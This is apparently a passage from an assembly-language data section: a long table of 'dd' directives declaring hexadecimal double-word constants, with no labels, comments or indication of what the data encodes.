dd 47101047h, 60DC694Dh, 0BD7826FDh, 0A41F4915h, 13BE5A92h
dd 18883ADFh, 30AC6062h, 831E5084h, 7870803Bh, 3C8A0524h
dd 71E849E0h, 0EB5748A0h, 9E51E23Fh, 0A237508Eh, 0C28E5380h
dd 0B8D6E944h, 0E0E02827h, 0CD4503h, 1EB63353h, 0C5F2DF9Ch
dd 4EC8C305h, 0C5FECFBAh, 171888E2h, 810046FCh, 392C7EA8h
dd 3DD70DD2h, 1682229Eh, 668715E1h, 642464C4h, 6BC93851h
dd 0FBC0E444h, 0ADEBF10h, 6729C2F2h, 0E214139Ch, 493A80D4h
dd 76042Bh, 80A632BEh, 0D12D5E59h, 0E11FD000h, 0D940FEC9h
dd 0D2687187h, 0A20488D9h, 0F46BE201h, 0CCFD35DDh, 0AAC5C8h
dd 0FB86EADCh, 6088C9D7h, 0B45CCD5Fh, 0ACB22353h, 0AF81887Bh
dd 75C0300h, 7A8E0A91h, 0C32A00AAh, 5B0C2F67h, 86004AE3h
dd 4395C654h, 1A2F655h, 855F9A04h, 44621C84h, 0D78F44Ch
dd 6900DEB8h, 8D07A8C7h, 0E654E6Eh, 0D812C218h, 0DBD77222h
dd 89008451h, 0C3D54F21h, 457A00FEh, 51B58CD6h, 0E90B75F9h
dd 60480AF6h, 951184E0h, 0A9FEC490h, 0FC240086h, 0A3DD4CE4h
dd 3C008D50h, 0E98E2732h, 1C23C67Eh, 60E75C57h, 0DAD2CE16h
dd 46C3305Ch, 0E5B1C4E0h, 0BAEC9Ch, 0D89D44B4h, 0ECE05C6Eh
dd 0AAF4FD00h, 0B28C1FAEh, 0D20A0C13h, 0DC318334h, 22806F5Ch
dd 3AEE2770h, 0F2896C29h, 0CAB05864h, 17175896h, 21DD4C31h
dd 1084A1A5h, 8488848Fh, 80D8E964h, 0F0286EEBh, 73E303E0h
dd 0CDB5B947h, 7B6F3F8h, 6B601098h, 856C9D49h, 9D2571EEh
dd 0E4E6888Bh, 0FD78F0E9h, 6E015BEAh, 463657A5h, 0C8209A73h
dd 847E1764h, 0C07CD46Ah, 67419EB8h, 0ADC55E0Bh, 0FAFC80F0h
dd 0B0A1CF14h, 0EEE74430h, 28CA075Eh, 69862C0Fh, 6572B240h
dd 0BF12816Dh, 98C8D4C9h, 1C21861h, 97CB9648h, 352624B0h
dd 0DB005C6Bh, 16D5620h, 6680C055h, 47E59385h, 72643417h
dd 2991BCD2h, 1400AC64h, 31564E8Fh, 0EC1FEEEh, 2EF68B3Dh
dd 4734DA62h, 80A640A4h, 7970A938h, 0A7C6800h, 5E49A4F7h
dd 0A047544Ch, 8DF63A9Bh, 88C15F40h, 9002F3C9h, 508FD86Ch
dd 0D6280796h, 0E0848B3Bh, 8A6940A1h, 169C819Fh, 1301C95Fh
dd 94F221h, 8E58F5B0h, 8FA496h, 0CC9BC545h, 311920FBh
dd 0CBB36F05h, 38824F6Bh, 59F482F7h, 1C630BE0h, 344B14B1h
dd 39E9508Ch, 21EE0218h, 337FBF73h, 0E2F031E3h, 53002685h
dd 24E338DDh, 6B973B9Dh, 1471E177h, 95DA3900h, 6F9B62h
dd 0DC9D56ADh, 57D2F184h, 7F31F461h, 0BC48D314h, 2DF000D5h
dd 38C85E21h, 5403D7B9h, 0EEADB89Dh, 75B90729h, 0EE31D11Eh
dd 3BC898B3h, 79F44800h, 8DBEE78Ch, 84FD2EC6h, 2C1713DCh
dd 0C900A8A4h, 7E6B8D56h, 393B22A9h, 0DF1E091Fh, 0EA46C9B0h
dd 83E6AC10h, 906F520Bh, 0EE465E2h, 0FD20B6D8h, 0F7172268h
dd 0E3DB6A03h, 0C8F09A41h, 2760C340h, 8C6482FFh, 5731F507h
dd 2EB06BBBh, 0F03BF76Dh, 946F7A4Ch, 55734348h, 9BAA37A0h
dd 0C8A79727h, 90E8160h, 690A4CD7h, 411805h, 9072502Ch
dd 0E43FE748h, 0BD3C8AE1h, 4A1DE884h, 42F382C9h, 6E085CA4h
dd 7A83C09Fh, 0DEDA04CFh, 8CAB5301h, 667608DCh, 5FB0237Bh
dd 4368CCF0h, 0BCF6400h, 0A7AF19D9h, 0F9DF1ED6h, 0A846A517h
dd 12230E1Fh, 37330C00h, 9DC4D73Ah, 0C0758027h, 476F5167h
dd 0CD804CB1h, 0EC30ACB0h, 586000D7h, 80E333BAh, 610902E7h
dd 0E92CDFDDh, 0B020B020h, 0BDA0091Eh, 18E687D7h, 0FD160B43h
dd 4C58F139h, 560046D8h, 0E1196E38h, 1ECCF022h, 812566C3h
dd 0F63B9007h, 9C802C77h, 484C5049h, 0BD4190h, 3FFC9169h
dd 3890042Eh, 0B07CF448h, 0DD703h, 0B30B0F8Bh, 6E181FE1h
dd 0D2314900h, 0C0229C53h, 6C609C3h, 880690Ch, 1704EFE5h
dd 0E022D090h, 0DED60E6Ch, 57426A09h, 74444DC0h, 0B3486200h
dd 0F367CDD9h, 0DD910B8Eh, 8A0008AEh, 0B8284C69h, 4980689Bh
dd 9901CE25h, 2F2300EFh, 9C1A8577h, 9097680Eh, 0BDC6524h
dd 800F5146h, 0D33CD800h, 683DCAC7h, 989096F2h, 93D20430h
dd 0B5C9002Fh, 5F89C5A8h, 3F0B8317h, 73402E7Fh, 0EDCE0AA4h
dd 0B6782D0h, 0C4FACB29h, 0E0EC04B5h, 0F8DC5545h, 0CF0B806Ch
dd 0A89D0Eh, 4D3A184Bh, 3FD78A70h, 96EB2601h, 0DF2F92DEh
dd 28C207Bh, 0F71F6822h, 5F132E5Eh, 36EF6802h, 41B8EA30h
dd 2C2BECC4h, 98843980h, 0F204A2CEh, 6E37600h, 99D4832Fh
dd 0F914B9CEh, 58700A4Ah, 95E4220Ch, 0DCA93000h, 1C914126h
dd 0F843A601h, 0BC23A862h, 5889DB00h, 177AAB18h, 0E820954Bh
dd 38D03E1Dh, 16006B30h, 0D5114970h, 29FB88B5h, 1B832524h
dd 3120B1BCh, 0E930402Fh, 7B8594C6h, 4C29B62Eh, 3533BD40h
dd 63703913h, 6436F202h, 6441670Eh, 9BF8C36Ch, 9F021E6Ah
dd 0E884F89Ch, 43A8D6CAh, 0A4D03F48h, 0C60078DAh, 0A1544F2Eh
dd 1708D707h, 8BCF828h, 9B82B918h, 0B74D23Dh, 16004C71h
dd 21F07ADAh, 8015E79Dh, 0D8B26480h, 0A35C560Fh, 0A137071Fh
dd 18B2F2B4h, 0E42DC900h, 5A72557Ch, 0DD968802h, 846982A0h
dd 1540ACC4h, 93522FECh, 0C32DE400h, 51D649CAh, 0C99C4F17h
dd 1A423A4h, 52E83854h, 80604031h, 0BC9C7C2Fh, 3749C060h
dd 83079FFFh, 344A5467h, 0AB9A83C8h, 22C063BCh, 8700B278h
dd 68FC67ECh, 798482h, 3183157Eh, 3C4F382Bh, 19D64A01h
dd 88CAC086h, 9000E063h, 649DC168h, 0AD00AE2Dh, 0FE2F1881h
dd 0B21BA9h, 36E0EF44h, 0E749A656h, 0F266E9C0h, 21C4D82h
dd 0C5325755h, 0C0E856C1h, 69108488h, 0DC5971C8h, 723D9580h
dd 81D5F8Ah, 9C01577Fh, 0ECC551D4h, 0B14C58C8h, 8B1001F8h
dd 0E8370B09h, 4B1DC9E5h, 0A829DC83h, 2420CE16h, 81A2B4h
dd 42F9886Dh, 0EB0D37FFh, 0ED5F6700h, 5E4C6C47h, 8B5C2EF7h
dd 1831370h, 29EB1770h, 4C273F94h, 681D1AA0h, 8C1E0084h
dd 443269D8h, 360AA2DAh, 0BF4AD94Dh, 14909602h, 0E0C074DEh
dd 489EB4A6h, 1B67C900h, 0CD9D1F35h, 46AA1CB7h, 0CFDD493Fh
dd 0E1954CC8h, 201DF40Ah, 4A05C4B3h, 0A4A8B851h, 62151490h
dd 3058D0C6h, 14BC0910h, 85A8D59Bh, 68E31EEEh, 0D203087Eh
dd 0D600896Fh, 23ECE492h, 86790317h, 0B46E209Eh, 0CDEF49F9h
dd 0C8AE443Eh, 30B7E0DCh, 1E120810h, 0C3A7C69Fh, 3F4BCBBCh
dd 0DCBE3202h, 80D315CFh, 0F96A8554h, 0C4EC0020h, 24F7EC3h
dd 0CE9066BCh, 7A675C02h, 0F9906C5Eh, 6FA4BFBCh, 1770C0CCh
dd 1B5E96AFh, 0C064AC23h, 273471h, 32C8ACFFh, 4C3F4460h
dd 51214700h, 1E0BECF8h, 34DF4429h, 5B19B600h, 12813527h
dd 1637AB4h, 69E5333Ah, 3D4C5193h, 67C3013Ch, 0D3D066B9h
dd 0C27360h, 8E7AFEABh, 0A49C93F6h, 5E0C9158h, 0FA171860h
dd 0C9716037h, 5ED22AC1h, 94820E4Eh, 598523Fh, 0F8567526h
dd 0ABC7C36Fh, 38804BAFh, 96274E5h, 25F88B52h, 403851EFh
dd 375DCB9Ch, 743E400h, 2E586BC6h, 0A5200D4h, 22BF1F57h
dd 6D60AE6Ah, 14D5DF78h, 50C90466h, 0A25674A8h, 48BA00DCh
dd 323A5ABh, 1EB802FCh, 1469D1B3h, 99402CFEh, 344989Eh
dd 0F5039B0h, 22C86ABDh
dd 0AE443EC9h, 0D3DEC785h, 0B328D38Ah, 0F34847A8h, 6CCF6309h
dd 0F5090191h, 4062A34Bh, 8DC5A16h, 52621B18h, 0BD74C1D8h
dd 0C0465F12h, 0F2E3421Ch, 709A4B03h, 1C61C9B5h, 7982D2E4h
dd 149B253Ah, 341E5490h, 17E2673Dh, 34C83D9Ch, 8B09D4Ch
dd 5E24BA5Ch, 102FAC85h, 5E2CED64h, 0FCD4DDE5h, 0AC001A1Eh
dd 58192E22h, 184DBF4h, 4634F999h, 38E89A28h, 0CE7F2594h
dd 0E0C0BF90h, 1B144278h, 41CFF541h, 54852B38h, 1653108Ch
dd 84C39F49h, 0FAF48CB4h, 938E5200h, 4BBE7119h, 88904E39h
dd 290043C0h, 508D18CCh, 2E45DAFAh, 0DCA68Eh, 1F094D8Ch
dd 294F37D1h, 0E0B2EC56h, 2F89E211h, 6F2400D7h, 0FF389007h
dd 4F5F02F2h, 0F40F14E4h, 0C0D221D5h, 8C497A3Fh, 0DDF51EA4h
dd 5C0BAF9Ah, 176A1841h, 6C4489h, 0C0B96B72h, 20B39462h
dd 4BB5B813h, 181FF4A2h, 60F7C098h, 3979BBAFh, 972B6100h
dd 0FECB23E1h, 361A2D20h, 0AF1DCCE4h, 0AD855B09h, 0C4041CDh
dd 0F9666548h, 0BEC90F1Ah, 0C2F6E33Fh, 0CC6EA0E4h, 6D5E2B00h
dd 7417FE31h, 205B038Fh, 0E121DFD8h, 0F654F10Ah, 3705A442h
dd 0C0E06B1Dh, 32C0B8DBh, 8751A1B8h, 48C2E820h, 3A0D00A5h
dd 4C38D43h, 0B800221Dh, 1797B731h, 4CAEC949h, 0FFC090C8h
dd 480A8B94h, 98D0E35Ah, 0C3FFAB7h, 0F64BA4D7h, 0BA0E6618h
dd 223A6F7h, 0E1557052h, 9B082508h, 0C422384Fh, 0B0D01220h
dd 20668720h, 9D74749Ah, 0C0AD0127h, 442CDD74h, 3F4A9BDFh
dd 5A8054A2h, 0ACFBC299h, 0E043BD00h, 50F79068h, 6F61F9BAh
dd 0DE01EC62h, 725AF9C3h, 469442A0h, 0EEA35402h, 0E4F4B4h
dd 670613BEh, 6A87EA8Eh, 4AE07B48h, 0D60098F3h, 49EE8577h
dd 1F0FF8D0h, 223DA85Ch, 0F8CBB715h, 5E530258h, 832A20EDh
dd 0EB3FC20Eh, 60FCA9A4h, 8AA3FCFCh, 9895E400h, 0CB00ADA2h
dd 0D1031B22h, 5868C2D5h, 0C109BC45h, 0DC103F67h, 0D30049A2h
dd 0A4C2BDA0h, 62F9F4DEh, 0BC4470A7h, 1479680Dh, 0A6AAB213h
dd 73620058h, 0FAFBA728h, 8F9F005Ah, 92CACB26h, 6E001D8Bh
dd 94FB5BBh, 2D6F13EDh, 0E42BEC05h, 0DA200CC4h, 5E671771h
dd 3034904Ch, 1C01CC96h, 3304E7B8h, 206E4E0Ah, 0DAC1C230h
dd 38A93003h, 0E89A9832h, 1E0F13AEh, 4147699Dh, 0BCEE757Ch
dd 0FCC47F46h, 30D7CC8h, 2DB6AE1Fh, 70E807C9h, 0E9001079h
dd 9A207EC0h, 0BCED8A47h, 88464110h, 0F6BC70D7h, 9C3E8E26h
dd 0EF9BFA40h, 0C8300060h, 85DFF527h, 39052D52h, 64120DB4h
dd 704034F1h, 0BE49147Bh, 11C81004h, 0F8CEE760h, 0DC653CA0h
dd 0AC0017C5h, 4BDBF9CAh, 0E2CE0CC4h, 57C22E4Fh, 813026C6h
dd 79044ABFh, 2AA42555h, 0DC2EAC22h, 32A04FB0h, 0F4F54764h
dd 49746303h, 9484C3BDh, 37F084C1h, 0B96E6020h, 752508A8h
dd 3E0B404Ah, 1738024Fh, 8FCCFECEh, 0A2E0F75Ch, 0EBC4689Ah
dd 0BC7D3700h, 0F05751B0h, 0E4E5959Dh, 0D200DE9Fh, 76667BB7h
dd 10740B72h, 0E00B6C4Ah, 0CE80F459h, 0E05F6446h, 0B5724A8h
dd 0C01545D0h, 3FB04FA8h, 0FDDC6009h, 8058C5E8h, 51D135E2h
dd 69006B84h, 1A046E92h, 9A0C44h, 0DE77CE12h, 75A81D3Eh
dd 6B0A622Fh, 591CE8F4h, 18B14DEEh, 0E7E53A13h, 3B1C0038h
dd 0B5739D34h, 50ECF3h, 7D1B7E41h, 224E76F5h, 5864F84Ch
dd 1AE3D5Dh, 9FF45748h, 68F0F1FBh, 0A57D4A31h, 5CD44074h
dd 0B9003994h, 2497BDA7h, 0BE821D1h, 84506F3Ch, 5280E4F3h
dd 0BD82DFC6h, 9DBA07EFh, 70BBC74Fh, 0A371019Ch, 393BE880h
dd 953BE1B9h, 0BB506208h, 49743E8Ch, 0C137714h, 2196F6F0h
dd 0F4F8F5B0h, 104A5C27h, 788E860h, 76B01F2Fh, 8128153Fh
dd 92653B0h, 0CF83347Ch, 5EC8EF96h, 2D00A816h, 1D14D940h
dd 0FC6D5580h, 0D0562FD1h, 0E973E402h, 44118400h, 0C4518289h
dd 4EFD6C00h, 90287F18h, 2DF2E3h, 1B487074h, 54B8B3B1h
dd 17CCAF4Ch, 98F1118Eh, 202BE821h, 13FEF498h, 0D972FD00h
dd 60CAC128h, 3A5E31h, 0F29D76D4h, 17126942h, 0A40EDC4Bh
dd 630883F9h, 0EA51C07Ch, 7CB0929Ch, 0D1F814A2h, 0DDC9DC1Ch
dd 461F9871h, 8DF4C300h, 48853DCh, 0BCD66436h, 1827AF4Bh
dd 7CC0AFB4h, 80E932h, 0F51A3D2Eh, 67EA7E70h, 0B80AA60Eh
dd 562B13h, 85A9A59Ch, 0A1DE0ED9h, 0F0320478h, 0A7229724h
dd 1F020EB6h, 0AA604A33h, 2E46BDBAh, 8F388312h, 508CD484h
dd 0AFC90205h, 298288EFh, 43B27D40h, 0BBA38526h, 0FFAE843Ah
dd 0F88C9DC2h, 14EE58F6h, 0C8508C12h, 0FC91FD14h, 7E5B6D00h
dd 2737F33Dh, 80E4C4E0h, 27C85256h, 101438h, 18C30BA8h
dd 0B31FD2A3h, 0CCF4022Bh, 30301513h, 786FEAD1h, 46510099h
dd 1587144Ah, 5304DD4Bh, 6907237Bh, 923B9CA2h, 745562Ch
dd 0F0E4D8D4h, 2777AD1Ah, 0E2B4EE3Fh, 0D185B740h, 822500C4h
dd 8874AFE3h, 0B0C96401h, 237E97AAh, 9BC5403Ch, 3838CC0Ah
dd 1AEFE744h, 84848967h, 3A41085Eh, 4028DCBEh, 0FD88E0C8h
dd 908C804Ah, 79077432h, 0CA586E02h, 40E714F4h, 50D28EFBh
dd 12562844h, 12E195Ch, 0BDCF844h, 5258309Fh, 4A84D244h
dd 9E8206Ah, 8CBAF828h, 1546F144h, 7C77ED3Fh, 7DCF1100h
dd 96D23357h, 4F1A1001h, 50B132F6h, 6680983Ch, 0F140C034h
dd 0C5E1D0Bh, 65C09867h, 4D228877h, 81F3E18Bh, 687160A5h
dd 13859180h, 4DCCB0h, 8DD1303Dh, 36E45C9h, 3B933400h
dd 0B41DBAC1h, 8A75EC9Ch, 3D0F34E4h, 0A099E42Eh, 0A7C27B4Bh
dd 0BECC1CC1h, 0F236C2FAh, 4046EE82h, 0E94F0A04h, 8F9C662h
dd 0C8C2D21Ah, 0D62CE011h, 438958A4h, 22DDDE3h, 3006F949h
dd 9C6246A0h, 0F844440Bh, 6D12A501h, 9E7A06ECh, 313AA9ECh
dd 6B29B930h, 9A2DCDBh, 9606D51Eh, 63DA39C0h, 0BE2EE26h
dd 377D9CCEh, 0B71CB4C8h, 0D66DFE2Eh, 0F868003Bh, 796EC021h
dd 3E71010Ah, 3446CBC3h, 5F318052h, 0A00EADC4h, 268C075Bh
dd 404E9156h, 0F24CEE69h, 0A7E4BA0Fh, 24B2172Bh, 0DF736E00h
dd 710EFB99h, 9B793001h, 0C6E1BB55h, 453A5E4h, 68853D8Fh
dd 7370CDF9h, 4921C8B8h, 7A00D844h, 8FE5E262h, 2D1C04ADh
dd 1CC4DABBh, 65C48E00h, 4EA6836Fh, 2EC216AFh, 23482031h
dd 6D005E79h, 7C091A5h, 24B6BDEAh, 0AFB402B7h, 7751F460h
dd 8A48B0B5h, 0FC3400A9h, 4C497ABDh, 0FE3EEE35h, 0FD6F0280h
dd 0E0F13651h, 0C274655Ch, 0B8A01E62h, 77F0105Dh, 0E289FEF2h
dd 4DE001DCh, 82E32CBCh, 0EEB6FCBEh, 572A110Bh, 2CE0F109h
dd 4C3704FCh, 4EFE4096h, 0B75C85h, 0B4C7A40Fh, 829E0AB9h
dd 2B498B02h, 5C09BE47h, 0FA15897Ch, 5C00DC64h, 12570427h
dd 0A029B3C9h, 0C2800Ch, 1E849A9Bh, 22BEB0B5h, 0DC5E6CE8h
dd 34E88489h, 30A66F12h, 4AA39F80h, 3AF1B552h, 357498h
dd 218C2F8h, 0B9C38B19h, 15315A00h, 0EE0FF3E2h, 51F22E09h
dd 0ECD40440h, 475CC00Dh, 3E589B3Fh, 23EE84C4h, 2B8010F2h
dd 8E9A1699h, 2C645200h, 0D918359Bh, 56CD025Ch, 23224A54h
dd 175FB880h, 14B4D59Ch, 0CC3C30A4h, 88605A44h, 0E2AEBC12h
dd 5B8F0AA6h, 60B456C9h, 5F7ECF5Dh, 95048400h, 0F13144BAh
dd 0EEC90230h, 1740508h, 6704A8E6h, 25DF2CFEh, 0CCD5488h
dd 724110DCh, 920F6C11h, 0A8C35h, 8F1E9B5Eh, 0F24907FFh
dd 9C41D172h, 0EB07E429h, 455AC943h, 3F06157h, 15B22CADh
dd 0CC1E7F7Dh, 3E93B11h
dd 87EDCD46h, 0E6113FF2h, 99C3A4DCh, 53D06338h, 0B22534EFh
dd 1D38F3AAh, 0CCDB401Ch, 3078F20Bh, 3995F300h, 0DDB4BB83h
dd 0A8AB04FFh, 0D8824956h, 0E20450F8h, 0F76664E7h, 24969482h
dd 8044BCEEh, 9C3586BEh, 8C3F5A90h, 0B109A044h, 9AEA6BE3h
dd 45307688h, 67644482h, 314CBD57h, 1B84B189h, 0C8F4272Ah
dd 0F91D9D40h, 0E89B5898h, 0C1F4D701h, 7307EEBCh, 4620398h
dd 94BE4AD9h, 76011081h, 12CEF010h, 249D140Bh, 4BCC48CFh
dd 597000ECh, 0AFEB06EFh, 809860B2h, 741DD4B2h, 98175883h
dd 0C4C2D849h, 3E791EACh, 0C759075Ah, 661A1078h, 9901A4B9h
dd 0D5D1131Fh, 68321B41h, 1F00A690h, 0E2F4395Dh, 849087C5h
dd 315048BCh, 7021DADh, 1A57A4A7h, 606E7818h, 50D39h, 3A15E3D5h
dd 12DD17A3h, 0FA15Eh, 0A91B52BDh, 3C4FD683h, 1AE840C9h
dd 4221003Bh, 0E89EEAC6h, 0AF00334Dh, 10CAECF2h, 9A94806h
dd 0ADB70902h, 4700F459h, 0DACC3EE7h, 0A20129F0h, 0D030928Ch
dd 0B27E2A24h, 2049B000h, 0BC894304h, 0FEF0E9h, 30658298h
dd 0C91E8E1Ch, 9D909C59h, 34D0D2D7h, 1462F6Fh, 0C6907892h
dd 0FD3AA36Dh, 0E82355h, 29855143h, 0E247376h, 1182066Fh
dd 31DF5138h, 9616E499h, 8218A600h, 5235E5Fh, 95B2F2C1h
dd 877CBCDEh, 0E254414Fh, 0BCFBB8C0h, 4A2498B4h, 881CB31Ch
dd 51FE42F3h, 921C015Dh, 10204A5Ch, 6A1C2666h, 8CE117A8h
dd 4C5EF068h, 6ED8880h, 1AB7C44h, 5FE7B3Ch, 7CFA68D3h
dd 0C9479C5Ch, 9F806781h, 0BDDF47F1h, 438B490h, 0BBC40E00h
dd 5F5760Dh, 0F1891D2h, 8C419AEDh, 7BC6435Ah, 0C368E070h
dd 1F6496D7h, 4C4B2282h, 0D42F6490h, 51AB0079h, 0E13D86E8h
dd 4B70C2C9h, 0E4CD6F5Ah, 0BCEC136Ah, 56C2A0C0h, 577000FAh
dd 9467B4F7h, 0B0043AAh, 0DE76EE3Eh, 0DFA8D0h, 52A4499Fh
dd 0A2F646C6h, 28886497h, 4EE456BEh, 68CA1Ch, 0FAC05A73h
dd 10F3BB7h, 4897B9B1h, 2E24C983h, 0BBEC2CD1h, 27DC0200h
dd 39CEF900h, 2C83C2FBh, 47F209C8h, 20D177F6h, 19927807h
dd 433021AFh, 9C600491h, 684648B8h, 0A7FE7D22h, 0FEAF9600h
dd 6159CE9Dh, 99821F53h, 8C6EA1h, 0D00D2C14h, 2958DB9Ch
dd 359E9E6Ch, 0CE746AC1h, 5C07F58h, 4F761CB4h, 0A0F38039h
dd 0A65B4C5Ah, 0AC7390D3h, 5E5F9CDh, 0F4B0C02Ch, 0FF14973Fh
dd 406425ECh, 90024FA4h, 0AF53D10Eh, 448C7EBEh, 1F90ECDCh
dd 0B29F41D6h, 0EC047892h, 0BCF0A9C5h, 823E003Dh, 0EC52F42Fh
dd 0D0DDCACEh, 6E668742h, 1BDF0789h, 0C4FBCC8Bh, 4DA14080h
dd 328C9Bh, 0FC947CB7h, 2B1E7ED7h, 586695h, 0BB0142FBh
dd 721465A3h, 6AB6850Fh, 0EAD70062h, 0B8867D8Eh, 0DD9705A3h
dd 0B9BF9026h, 0F8548E04h, 0E21499A2h, 0C03800B2h, 694F2CC1h
dd 9702AB82h, 64C71B7Eh, 247C4183h, 4F621434h, 2454E250h
dd 48582C17h, 7B1500DDh, 0E02FEDF6h, 3C3F7A2Dh, 58D35ECAh
dd 9D4104AFh, 58B3ED2h, 0CE8E888h, 0BBE4A04Fh, 0C495CBB8h
dd 84343000h, 96762861h, 186F2916h, 1210809h, 9E5601C0h
dd 9855EE02h, 5BC36740h, 1E8CDA9h, 84BDADE0h, 88336AC0h
dd 0AE84640Bh, 277C9298h, 94A6DC7Ch, 0C302A311h, 4F9BF121h
dd 3F002C44h, 319A855Eh, 6E838Eh, 25DA79B8h, 6C463A08h
dd 0A1C78204h, 6C80E942h, 0B7B8B24Ch, 0E4DA5C31h, 27017062h
dd 24BEE5DEh, 1FF54578h, 3C016EF8h, 0E1CBBDA4h, 0F8306F44h
dd 3A490583h, 0D9E3A44Ah, 19F8D3D7h, 2D4C603Fh, 24422675h
dd 20B33740h, 555E00F6h, 9E0660B4h, 2900633Ch, 0A133ACC2h
dd 1946626h, 0A6B89AF4h, 6C3D3B9Bh, 4096882Ch, 0BD19983Ch
dd 88CDAB17h, 0F4DF9C61h, 0A2C2406Ch, 44E062B3h, 6103AD1Eh
dd 35698477h, 0B0C10B71h, 24451B88h, 1DF1FF00h, 0A4F962h
dd 772B611Ah, 0AE4219F0h, 2D475D00h, 5164E089h, 91705BEFh
dd 0C8A8C548h, 0DC000683h, 0EC3A68C9h, 4089CE14h, 3F00448Ah
dd 4CF7E498h, 722613BAh, 72A50271h, 0D1296A9Eh, 6F0044D9h
dd 714F7DFDh, 27670012h, 0E12CB642h, 2401330Ah, 29BA7234h
dd 702A74A5h, 815EC040h, 36F82A54h, 5F942802h, 817BFAF7h
dd 210EA0B2h, 2BF6D460h, 32075BAh, 3C608449h, 7CA229A0h
dd 0E73B0715h, 0CCA05A68h, 0DC590F5Eh, 5D12731h, 0B3C7EA66h
dd 3C148684h, 73401EA8h, 0A21CD000h, 77E7AB50h, 20877AD2h
dd 0DF7688F6h, 104CF92Dh, 27F7Ch, 14ED28E1h, 0B3F789D7h
dd 5D684803h, 0AAD1A8F8h, 1305A4Ch, 9E05C556h, 0C897F28Ch
dd 3503015Fh, 7B72A11Dh, 80B48Dh, 9C94D836h, 3CD44004h
dd 0B400F6D5h, 0B979B6CEh, 74D15E09h, 0B82D12DCh, 3BFC9042h
dd 0BE0076F1h, 414ACEA6h, 0E0F654Fh, 74286F3Eh, 0F180E888h
dd 7C71203Fh, 0C40717F2h, 23110964h, 0F0421CE4h, 0BD008C42h
dd 91A4D1Ch, 64086ED6h, 6EFDA9C0h, 3B2D3720h, 684C1449h
dd 0D31513B1h, 0D995D420h, 910A254Dh, 4600B954h, 14837E09h
dd 612896DCh, 10843029h, 1ACF22h, 4BED2B59h, 0DC7697E4h
dd 2781E20Fh, 0D4E10536h, 823CC8h, 0AC696B47h, 4CD5094h
dd 0B828ECA3h, 2E0328A6h, 2F7666Ah, 37B6D0F4h, 2D3007C8h
dd 16D0FAAh, 0F6DF0880h, 200220F1h, 803039C8h, 0C923E0C1h
dd 2CEE2DB8h, 860B8064h, 709B5551h, 0CA694F34h, 0FEF40478h
dd 0D084C4D4h, 84491897h, 1E5271B0h, 0C00289E0h, 0F240D07Ch
dd 413F85h, 5BED5ADEh, 0C6862735h, 61292630h, 0E21C14BFh
dd 0A156008Eh, 1B91FA60h, 3C127197h, 4859E16h, 0ACF4CE84h
dd 0E6CB1251h, 0C4F0A8BCh, 98C8A7F9h, 96BCB63Fh, 5D100DFh
dd 39FD26F1h, 0E284706h, 1221A0A1h, 0C83E9C15h, 64019768h
dd 4AE270BDh, 0C42EA6F6h, 7020AA38h, 7F7C17B4h, 0B9DE1A04h
dd 0B842EEA7h, 32497823h, 790F86F0h, 0EA81CD0Fh, 4B174334h
dd 0CFE7A93Fh, 3B7B002Dh, 0C820482h, 0DCF6169Dh, 3B346860h
dd 8822FE5h, 0BE54A409h, 4B1C00FAh, 55AA5167h, 6840809Dh
dd 0CEBB3881h, 7BC1E329h, 205BC62Dh, 3F050EC3h, 35CAC72Fh
dd 1ECE3C80h, 0C8315CD8h, 6E73F180h, 0A6001351h, 9C255DA0h
dd 255B7533h, 847AF6E1h, 0B438EC29h, 5C5F4A89h, 30715060h
dd 9386731Dh, 0EF7A6D00h, 4A87E5FBh, 52FC2111h, 846608A2h
dd 0EED5DF25h, 36DC1280h, 5DCCF85Dh, 823A01E4h, 0FE3CE992h
dd 9D06B9FCh, 0F003D8EEh, 52059AD8h, 1986903Bh, 91200B07h
dd 868244DDh, 8C5961DBh, 4F007E3Bh, 0C61B48A2h, 0B2AB769h
dd 88DAEF72h, 3B091087h, 1F01B47Bh, 9464D915h, 16304F0h
dd 7B8EB04Fh, 0CCC4A70Bh, 173B887Ah, 3FB0D2B2h, 0D8708031h
dd 0C1A46990h, 3B660095h, 839B053Ah, 5CBE56BEh, 983CA63Dh
dd 0DC0A7217h, 0BA13EC6Ah, 3638C8h, 3383BE9Eh, 7C242C3Ch
dd 0C39B9500h, 0AD6734D2h, 0E2F5F71h, 0B99AD37Ch, 0C3B61885h
dd 6CEA0ABCh, 74EFA90Fh, 0D6A24050h, 0C29716EAh, 678C1188h
dd 7C6CBF8h, 60F8C29h, 6815F05Ch, 75CDDB2h, 95DCC0B0h
dd 44179DE0h, 32765584h, 1078E45Ch, 0ED00BCFFh, 0AA4609DFh
dd 13480B3Ah, 78522B8h, 0BCCE927Eh, 0F26011CAh, 4EC430BDh
dd 0EB77EC13h, 6122CB2h, 40EF1EA1h, 0AB20DA12h, 95013EE8h
dd 3B3D766Ah, 0BCE821FBh, 797716DCh, 8D0CB073h, 4A482200h
dd 46AC5CB2h, 36540067h, 0DFEFDC58h, 909DD4Ch, 303DCEh
dd 6A3E2CBCh
dd 0FCD32C14h, 93E04504h, 8948D0D8h, 98EA2298h, 82D35A33h
dd 5F251278h, 77C908Ch, 1766FF1Bh, 106E57C3h, 1607D89Ch
dd 0B8F9200Bh, 0E3064F5h, 1BDA46E5h, 84F9C94Bh, 0C0D02D0Eh
dd 4C403163h, 798365AFh, 3ED88837h, 0E304F900h, 0AE2229EEh
dd 2C87A19h, 24DDC5A0h, 0E041EA0Ah, 9B503078h, 3BE188h
dd 505E20BAh, 0E02BEC36h, 0D9199912h, 909A13EEh, 0C71A839Ch
dd 26B9700h, 0B4E8F54Dh, 8FA10980h, 0BC402ED4h, 2989A6E1h
dd 70902BE2h, 8DFA0BF4h, 1F58C600h, 3F4F6B53h, 83C10099h
dd 0BD193617h, 294FA8E6h, 0AA00445Ch, 4E668AC7h, 0A84099Dh
dd 0CC4C70F2h, 18C8BE5Eh, 46300E01h, 8D4065F4h, 3F8F3284h
dd 0A2128C16h, 0CB953B00h, 5A6F065Dh, 8D7C08BBh, 920FD242h
dd 941057F4h, 26390594h, 74138EEAh, 0A6DB20C6h, 0B37F7A3h
dd 5572515Dh, 305E3419h, 0AC3E4A53h, 0C594583Ch, 0CC807041h
dd 0D67FF8E3h, 72C49B9h, 9B8064EAh, 0CD0838A2h, 34C6712Ch
dd 0C5F46800h, 5C60A7C8h, 8430F404h, 836B0F99h, 7302C00h
dd 5D406646h, 0B4440029h, 76DFF723h, 1800F254h, 0E1DC4BFDh
dd 0CA654341h, 880F9A8h, 0FE0BE987h, 0E27C11E8h, 5FA8283Ah
dd 69455400h, 9632EF3Ah, 82CA001Ah, 0DF659F6Fh, 6603AA53h
